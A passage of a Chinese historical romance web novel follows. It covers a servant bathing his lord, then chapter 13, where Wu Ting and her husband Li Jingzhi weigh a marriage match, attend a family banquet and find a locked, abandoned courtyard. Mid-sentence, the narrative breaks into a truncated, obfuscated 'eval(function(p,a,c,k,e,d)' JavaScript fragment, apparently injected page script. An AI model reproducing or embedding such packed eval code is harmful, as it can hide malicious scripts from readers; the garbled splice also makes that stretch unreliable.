阿常掀开了纱帐,青纱松垮垮的垂着,眼下被雾气湿润,更显垂坠感,触地的纱洇开些许深色。 侍者轻轻撩开纱帐,只一半就足以露出纱帐后铺有地衣的地面,和盘坐于其上的男人,他身旁放着一个宽大的青瓷盆,里面盛满清水,波光粼粼。 阿常走过去,拿起木勺舀起水浇在自己的胳膊上,见水温合适,才跪坐到公子的身后。 浴堂暗沉沉的,仅有的光亮忽闪忽闪,莫筠盘坐在地,他身量长,哪怕盘坐着仍显出自身优越的脊背,自幼习武而紧实的腰腹,宽阔的肩膀,虽说是男子,皮肤却若冷玉一般,白皙透光,使得皮肉下的血管与肌肉的肌理起伏袒露可见。 披发静默,黑沉的发丝随意的垂落,沾染了些许水气的鬓发黏贴在了他的侧脸,莫筠闭着眸,面若冠玉。 阿常动作麻利的将他的头发挽了起来。 因着要沐浴,侍者挽发时只图将发丝高束约束一时,方便冲洗身上,不图工整符合礼仪。 于是莫筠的长发,偶有几缕散落,垂在锁骨上,虚掩着他下颌的棱角。 他任阿常侍候,像是睡着了一般,既不说话也不动作。 倦极的唇色微微发白,脸颊因热气而蒸的有些冒红。 水一勺一勺的倒在他的身体上,顺着脖颈、肩背一路向下,由肌肉身躯的纹理蜿蜒,温水成渠模糊了人体的凉意。 似乎是嫌水有些凉了,莫筠闭着眼轻轻的皱起了眉,他在浓稠的水气中长吐出一口气,跟阿常沉声说道: “添些热水。” 声音沙哑带着鼻音,露出几分困意来。 阿常出去吩咐人送水,莫筠闭目养神,抬起手抹去了下巴上欲落不落的水珠。 修长的指节,水淋淋的。 热水浇在他的身上,莫筠面不改色,轻咳几声压下了身体的不适,阿常舀水的时候握着长长的木柄都免不了被热水烫一下,他看着自家公子默不吭声的样子,心中揣揣不安。 总觉得公子心情不太好…… 话说,这么热的水沐浴,真的舒适吗? 阿常疑惑。 他总是会为莫筠感到不安,自二人年少相遇开始,阿常的善心就总是落在莫筠身上,莫筠那时还未崭露头角,只是一个被娘子好心救回来的小少年。 外面下着雪,那天阿常得了假,正准备出门玩一玩,就见院里来了一个野性未脱,生着病浑身警惕的人。 莫筠其实虚长他几岁,但那时的少年饥寒交迫不知走了多久,浑身就剩一张皮,站在阿常跟前,更像是弟弟。 不友善,不高贵,毫无价值的人。 救他回来的贵女被喊去用膳,紧跟着又被投壶诗会绊住了脚,许久未至。 院中无人管少年。 阿常动了恻隐之心,守在了他的病床前。 这一守,就给自己守了个主子出来。 谁也没想到,莫筠这个野小子有如今的造化,阿常也没少被嚼舌根,说他巴结莫筠这么多年,真是没白干活。 阿常倒也不生气。 他和莫筠关系是真好,哪怕如今的侍郎官出尽风头,待他也依旧如年少时一般。 莫筠是个很好的公子。 虽然说出去没人信。 冒着热气的水浇在皮肤上,白皙的皮肤受了刺激隐隐发红,阿常几次迟疑,想要开口问一问公子,可有不适?但他最后也没张开嘴。 虽说二人关系好,但阿常也不是肚子里的蛔虫。 他不知道莫筠想要的是什么。 坐于地衣之上的男人张开眼,长睫微湿,他眼底漆黑一片无半点光亮,神情肃穆像是在处理政务,而非沐浴。 阿常不经意的和他对上眼,下一刻就飞快的错开神情。 他心中发怵,头脑却因这一瞬的对视灵光了起来,阿常突然想起白日未尽的言语,踌躇几刻,他在心中措词后说道: “公子,今日的礼都送出去了,没有疏漏。” “嗯。” 阿常又道:“老爷那边也都安排妥当了,是按照公子的吩咐做的。” “嗯。” 阿常握着木柄,舀水冲洗净发丝的水沫,他跪直了身子想要继续开口,又有些犹豫的坐回自己的腿上,“嗯……”了一声,侍者叹气。 “公子,”他低了点声音,“娘子那边的礼也送去了。” …… 浴堂安静下来,独水声淅沥。 男人抬起手,有些用力的摁了摁额间的穴位,他神情看不出异常,不知道在想什么,“嗯”莫筠应了一声。 “以后这种事不必过问我,你看着处理就好。” 雾气冲的阿常脸上都是水,他摸了一把脸,低头应是。 * 会稽的吴家老宅自晋国开国时便屹立在会稽山了,祖宗亲自选址,自然是风水风光都好的不得了。 吴庆漪回会稽,没带多少侍者,近身的唯阿昌一人,其余跟随侍候的都是老宅的人。 侍者童仆都很熟悉这位娘子,有不少都是家生子,自吴庆漪出生时就在吴家做工。 众人对待吴庆漪都很亲切。 春日宴结束后,来往的宾客各自回府,吴庆漪过几日就要回京,和小弟吴连草草一面,下次再见又不知何年何月了。 吴连送走吴町堂姐,正是不舍。 小嘴一撇嘟囔着要阿姊哄睡,吴庆漪笑他,他也不理,只是一味的哭闹。 见他实在可怜,吴庆漪笑倒在阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她侧躺在软榻上,腰间垫着软枕,一只手勾着发丝绕在手上,嫁作人妇的日子养得她气质沉淀下来些许,不复少女的天真,像是酿好的美酒般醇厚悠远。 吴町翘着的脚被人捉住,李靖之将人往自己身旁引了引,他排行老三,没什么哥哥的责任感,也懒得操心小辈的婚事。 他一身浮光锦,衣袍和女子的裙角交叠在一起,李靖之大剌剌的坐在软榻上,嘴角勾着笑意。 是了,若是李吴联姻,李家的合适人选唯有他的四弟和五弟。 “可惜文道误入歧途,依我看,他倒是个不错的人选。”男人握了握夫人的小腿,顺手给她揉了揉。 李忞之? 吴町将脸皱起,有些恶寒。 可别了,李忞之和她们太熟悉,反而没那个感觉。 李靖之自成婚后就不再在李府住,他在朝中任职,有自己的府邸,于是乎吴町也没怎么在李府住过,对李家的几个儿子都不甚了解。 老四李邬,老五李微。 这两个人她都不熟悉,也就能叫上名对上脸。 仅有的几次照面还是成婚后李家家宴,她远远的撞见李微在供奉三官,吴町不喜五斗米道,便转身离开了。 至于李邬…… 前些日子倒是在会稽见了一面,那小子输掉了自己大半颜面,丢人丢到了自家嫂嫂面前,场景实在尴尬,吴町也不方便说什么。 这么一想,这两个弟弟确实…… 配不上灵岫。 13. 联姻 第十三章: 李靖之在家中排行老三,位置尴尬,既不是长子需要承担家族的期望,又不是老幺随意自在胡闹玩乐也不会被训斥劝诫。 他是个没什么主见的人。 虽说是出身贵门,士族门阀之子,自小衣食无忧,锦衣玉食,师从京中的孙先生,该有的他都有,但他李靖之往父亲跟前一站。 站的是他李老三还是李靖之。 对于李公而言并无区别。 只要不败坏了门楣,李靖之的人生任务就完成了。 世人梦寐以求的东西,对于门阀公子来说不过是手边取物,易如反掌。 如此轻易就得到的东西,反而不被看重。 李靖之要让李家老三不再只是门阀之子,而是,“李靖之”。 在很长一段时间里,李靖之的奋斗目标都是冲着文学大家去的,他要当文豪,要留有佳作以供世人瞻仰。 可谁知,他少年立志之时,吴家的一个小姑娘屡屡压他一头,眼看着没多久的光景就要弱冠了,家中又来了一个著文、作诗、投壶样样精通的义子。 不知道是竞争对手太过强劲,还是京中好生育导致“文豪”一道太过拥挤。 李靖之最后感慨一句,“政局太平,人才辈出”,后果断抛弃了自己的文豪梦,转而入仕。 入仕前先成家。 父母之命,媒妁之言。 李靖之娶了吴町。 在成婚之前,李靖之和吴町就有过交集,作为吴家最不守规矩的孩子,吴町自小就混迹在各色聚会当中。 特别擅长攒局,她一介女流,不知道学谁招呼了一堆妓子,带着她们游船夜夜笙歌,好不畅快。 她游船那日,李靖之恰巧就在湖边的长亭内。 女子艳丽的眉眼,娇俏的神情隔着湖水闯入他的眼中,她臂弯处的长帔被风吹卷起来,映照在湖水的波光涟漪中。 好像是对岸上之人的目光有所感应,吴町笑着扭头,挥臂对他打了个招呼。 李家最守规矩的公子失神在她飘逸的长帔中,当吴町侧过身去时,他听到了胸腔内隆隆的心跳声。 他想起两家早有的婚约,第一次庆幸自己生在了李家。 “夫人这般在意我两位弟弟的为人,下次家宴何不自己去探一探,我说的话,你总归是不信的。” 省得我费尽心思解释一番,最后也讨不了一个好。 李靖之无奈侧目,边说着边轻轻的捏了捏她小腿肚的软肉,自二人成婚后,他身上那股士族子弟凡事以家族为先的束缚感淡了不少。 下一刻,手上的温热抽了出去,吴町踹开了李靖之的手。 “痒,你别捏我,”吴町想打发他走,李靖之装傻看不懂,笑着将手收回,屁股一动不动,稳稳的坐在女子的软榻上。 “下次家宴什么时候,灵岫明日回京,我要请她来坐一坐。”吴町打量着自己的手说道。 听见她的话,李靖之挑眉,“那倒是不巧了。”他对上吴町疑惑的神情,慢悠悠的接道:“家宴好像就在明日吧。” * “哎!那个新来的,动作轻点,这屏风哪能使这牛劲擦,你的领班没教过你吗?” 管事阿毛冲着一个毛头小子招手,示意他到跟前来回话。 打扫屏风的小子年岁不大,像是府中新来的童仆,阿毛看着面生,又见他动作生疏,恐伤了物件儿,便沉着眉喊停了那人的动作。 小童仆不敢冒犯,忙小跑着赶到管事面前。 这人和人挨得近了,眼下看的也仔细了,阿毛瞅了瞅这新来的童仆,呦了一声,有些诧异。 这新来的,长的倒挺俊。 瞧瞧这鼻子,这眼,倒是生得一副好样貌。 人都有喜恶,看到悦目的事物,说话先软了三分语气,再开口时,阿毛的眉头都松了,嘴角也不绷着了。 “跟谁来的府里。” 童仆回道:“回管事的,小人的哥哥在府上做工,今日哥哥身体不适,这才让小人来替一天。” 阿毛点头,又问了童仆哥哥的名,“你去扫院子吧,贵人的物件儿贵重,你毛手毛脚的不便擦拭。” 童仆见管事的这么说,哪里还不明白是帮了他一把,他松了一口气,向阿毛连连道谢,然后跑去扫院子了。 这也不怪阿毛管事高高抬起,轻轻放下,那小童仆人虽然笨了点,但长得好,透出一股不谙世事的感觉来,光是看着就觉得心情愉悦。 何必再三为难呢。 被打发去扫院子的小童仆,刚从阿毛手下逃过一劫,又在院中被其余侍者围住打趣。 “哎?你哥哥是谁,你长得这么好,哥哥应该也不丑吧。” “胡闹,长得和他一样好的童仆,我怎么从来没见过。” …… 小童仆的耳边七嘴八舌的,他扫的是吴町的院子,吴町是个性子活泛的主儿,在她手下做事的人也都生得机灵,能玩能闹。 好不容易闯进来一个小弟弟,可把众人乐坏了。 你一言我一语的,小童仆的脸越来越红。 “你们几个,做什么呢?”吴町刚出门,就见庭院的一角围了一个小圈,热热闹闹的不知道在聊什么。 “娘子,没什么。” “哎,喊夫人。” “哦哦,夫人,夫人。” “回夫人,院里新来了个童仆,我们和他聊天来着。” 吴町被勾起了兴趣,边顺衣袖边向庭院的那个小圈走去。 童仆羊入虎口,一抬头就对上了贵夫人好奇的目光,吴町眼神澄澈没什么恶意,但尊贵的出身和士族多年的培养让她的眸光较寻常女子更为锐利。 这样的目光落在平庸的童仆身上,无异于审视。 小童仆感觉自己被扒光了一般,逃无可逃。 他有些着急,双目通红。 “呦,这么俊。”吴町笑着说:“别扫院子了,长得这么好,来给我撑步障吧。” 温热的风吹动步障的垂边,一个接一个的弧形像是有呼吸一般在晃动,车帷幔半卷,露出车上女子额头的花钿和发间的步摇。 那个被提拔的小童仆第一次撑步障,跟着其他侍从走在牛车的两边。 绕过乌衣巷的一条街,就是李府了。 李公对亲生子要求不多,但李夫人是个贪眷享受天伦之乐的人,于是托她的福,李家常有家宴。 大大小小的,一月可以聚上三四次。 于是家宴并不是每次都盛大,有时心血来潮府上来不及准备,便吃的简单些。 这也是为什么,吴町前一天才知道有一场家宴。 她扶着李靖之的手,先到他们二人的院子里休息。 吴町有些心不在焉,她和吴庆漪因春日宴的缘由,已经很久没有坐在一起好好聊聊天了。 伯父养病,灵岫侍奉病人走的早,回来的晚。 一前一后的就耽误了个把月。 春日宴当天,不提也罢,让吴连那小子搅和的,她和灵岫都没坐安稳过,不是被拉去西边,就是被拽到东边去凑“热闹”。 五六岁的小孩太闹腾,吴町一想到就觉得头疼。 女子揉了揉自己的头,走到窗边的软榻前卧了上去。 李靖之以为她疲于家宴,有些忧心,他跟着妻子坐到了软榻上,似是安抚的拢住了她的耳朵。 吴町放下手,身后那人接着她方才的动作替她揉着穴位。 “若是不愿来,下次我推了。” 今日这样的家宴很是随意,是老夫人临时起意想喊着儿子儿媳吃顿饭。 也是因为太过随意,被政务绊住脚的李忞之和莫筠都托人来传话,说抽不开身,改日定回府向母亲赔罪。 对于已经成家,且入朝做官的李靖之来说,找个由头推了不难。 吴町眼都没睁,随意摸了摸他的手腕,“等我摸清了你那两个弟弟的为人,再推也不迟。” 李靖之被吴町的长姐义气折服,他叹了口气,难得的反思了下自己,是不是对家中弟弟关心的少了。 “我告诉你就是了,哪里用得着夫人亲自来探。” 听见这话,吴町侧身坐起来,面对着李靖之,背对着窗外的日光,她的轮廓因背光而柔和,“那你说说,你这两个弟弟都是什么人。” “李邬,芳香君子,自幼善著文,扶得一手好琴,就是性子有些争强好胜,幺弟李微,年纪尚轻做事不成熟,和你年少时很像,爱玩爱闹的厉害。”李靖之撑着头说道。 吴町越听越没意思,又翻身回去了,“好没意思,就知道你嘴里吐不出什么好话,亏我还真信了。” 李靖之冤枉,他说的都是真话,如何惹了人无趣,他辩驳:“那我怎么说,老四性子烈,老五风流成性,我做哥哥的总不能把弟弟说的一无是处。” “有没有长处我不知道,你向着李邬我是听出来了。说说李微怎么个爱玩?” 李靖之没说话。 吴町眯了眯眼,语气有些危险:“他养外室了?” 李靖之的目光微移。 “呵。” * 家宴上,众人围坐。 自打李靖之给吴町交了底,吴町便看李微怎么看怎么不顺眼。 袖子褶皱多。 不合礼仪。 喝酒太频繁。 不善自控。 说话太过大声。 不够稳重。 说话太过小声。 不够大器。 …… 李微用膳时总感觉背后发凉,像是被什么盯上了一般,他不知发生了何事,下意识的在饭桌上环顾一圈,不经意的对上了嫂嫂的目光。 盯—— 吴町冲他微微一笑,李微笑着点头。 嗯,三嫂人真好。 将一切收入眼底的李靖之默默的撑住了自己的头,眼皮突突的跳。 小弟,是兄长对你不住。 * 饭吃的差不多,吴町嫌 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不知是他动作太慢,还是吴町脚法太厉害。 外面唯几盏幽光亮着,零散几人侍候在院中,吴町的影子是半点没有。 夜风一吹,李邬方才在席面上哄出来的热意散了个干净。 他眯起眼,倚靠在柱子上。 人跟丢了,他贸然寻过去倒显得刻意,李邬紧了紧腮,正当他振袖准备回去再喝一盏酒的时候,不远处一道瘦弱的身影闯入了他的余光中。 那人看起来年岁不大,却肤色很白,在夜色中尤为扎眼,至于穿的是谁家的衣服…… 夜色太沉,有些看不真切。 李邬叹息一声,摇了摇头。 不知三嫂去了哪里,这么晚了万一在哪磕碰了怎么办,做弟弟的还是去瞧一瞧吧。 * 李府的路很绕,吴町自婚后便和李靖之住在乌衣巷的另一处府邸,老宅来得次数不多,这次出来乱走一通,左走右走把自己方向走迷糊了。 吴町的神情难得的因吃瘪有些木楞,她和侍者面面相觑,主仆二人没一个知道路的,这下好了,走哪算哪,等着李靖之来捞人吧。 希望那厮能早点出来寻她。 “哎。”吴町笑得苦涩,也是没招了,“来都来了,走吧。”侍者站在她身后也跟着捂着嘴笑。 “阿满,等我们回去,不得声张今日发生的事。” 小侍女捂着嘴试图掩盖自己的嘴角,但笑声还是从指缝间溜了出来,吴町试探恶狠狠的瞪她一眼,但主仆二人一对视,谁都没绷住。 李靖之就是顺着笑声寻来的。 “你们怎么走到这来了,让我找的好辛苦。”男人语气无奈,他环顾四周目光冷了几分。 夜色寒凉,吴町没有看清他眼底的情绪。 “这是哪?瞧着挺偏,地上的砖铺的怎么也乱七八糟的。” 李靖之嗤笑一声,“夫人厉害,马上就找到李府的旧祠堂了。”他语气中带了一丝不屑,这情绪自然不是冲着吴町去的,但落到她耳朵里可就不是一回事了。 吴町甩开他的手,站在原地,娇俏浓丽的眉眼此时泄出几分不爽来,可不是不爽吗,原本只是想出门来透气的,不知道跑到李家的哪个旮旯地了,还要被人说一通。 走在前面的李靖之在她挣开自己的手的时候就暗道不好,果然。 他恼自己说话不注意,低下头去哄吴町。 最后嘛,当然是哄好了。 只不过苦了李靖之,大半夜的要带着自家夫人夜游李府,直到吴町娘子亲自把路认熟了才算完。 小侍女又在偷笑。 夫人哪里认路,路一向都是阿满在认。 小径幽深,路旁的草木有些凌乱,趁着月色,吴町依稀可辨得几株小草,都不是什么名贵的品种,她拽了拽李靖之的手,把这人的目光拽到自己身上。 “这住人?”她语气疑惑。 “嗯”李靖之应了一声,不怎么想要详细说。 见他没什么兴致,吴町也没再继续问,二人从小径走过那处荒芜的不怎么名贵的院子,就在院墙即将消失在二人的视线中时,两盏没有点亮的灯笼吸引了吴町的目光。 那是两盏模样相似,有细微差别的灯笼,都高挂在院墙头上,绕过灯笼就是一扇圆形的拱门,拱门后还有一道木质的门,落了锁,沉重的锁上是厚厚的一层灰。 完全不像是能住人的样子。 若是吴町看的仔细就会发现这落锁上,拂去这厚厚的灰,满是坑洼痕迹,像是被人使出了强力去捶打过一般。 这院子荒败,没什么值钱的东西,但这灯笼看起来却并非凡品,吴町被李靖之拉走,没来及细看,瞄过去的那一眼,她只看到了金线缠枝的纹路和雕刻的极其精细的镂空珠子。 这珠子…… 倒真像个李家人用的。